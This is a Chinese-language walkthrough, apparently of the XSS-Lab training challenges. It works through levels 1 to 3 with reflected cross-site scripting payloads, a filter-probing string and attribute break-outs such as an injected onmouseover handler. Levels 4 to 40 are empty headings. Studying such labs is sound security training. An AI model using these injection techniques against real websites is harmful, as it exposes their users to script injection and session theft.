XSS-Lab题解

施工中

施工中

XSS-LAB题解

level1

观察playroad与页面

1
/level1.php?name=test

页面内容

1
2
欢迎来到level1
欢迎用户test

尝试在name=后插入xss语句<script>alert(1)</script>,即

1
/level1.php?name=<script>alert('heiheihei')</script>

成功触发XSS,进入下一关

level2

中间存在个搜索框,尝试直接写入语句<script>alert(1)</script>,查看服务端处理后的页面源代码

1
2
3
4
5
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert('heiheihei')&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script>alert('heiheihei')</script>">
<input type=submit name=submit value="搜索"/>

发现正文部分的回显都被html实体编码处理,但在搜索栏处存在着value="<script>alert('heiheihei')</script>",因此可以进行构造闭合语句,"><script>alert(1)</script>,返回后的页面代码在拼接处理后为

1
<input name=keyword  value=""><script>alert(1)</script>">

成功触发XSS,进入下一关

level3

通用的中间存在个搜索框,使用探测语句进行查看可以进行哪些操作

1
2
3
<h2 align=center>没有找到和&lt;script&gt; &lt;/script&gt; &lt;Script&gt; &lt;/Script&gt; &lt;scrscriptipt&gt; &lt;SCRscriptIPT&gt; ' &quot; () Onerror onerror javascript: JavaScript: &lt;!-- --&gt; eval() &lt;a&gt;  &lt;img&gt;  &lt;iframe&gt; &lt;form&gt; src {} / 相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='&lt;script&gt; &lt;/script&gt; &lt;Script&gt; &lt;/Script&gt; &lt;scrscriptipt&gt; &lt;SCRscriptIPT&gt; ' &quot; () Onerror onerror javascript: JavaScript: &lt;!-- --&gt; eval() &lt;a&gt; &lt;img&gt; &lt;iframe&gt; &lt;form&gt; src {} / '>

发现< > "都被过滤了,但'onerror等标签属性并没有被过滤,因此可以使用'造闭合使用,使用语句' onmouseover=alert(1) ',进行对前面value的闭合和添加属性,onmouseover

level4

level5

level6

level7

level8
level9
level10
level11
level12
level13
level14
level15
level16
level17
level18
level19
level20
level21
level22
level23
level24
level25
level26
level27
level28
level29
level30
level31
level32
level33
level34
level35
level36
level37
level38
level39
level40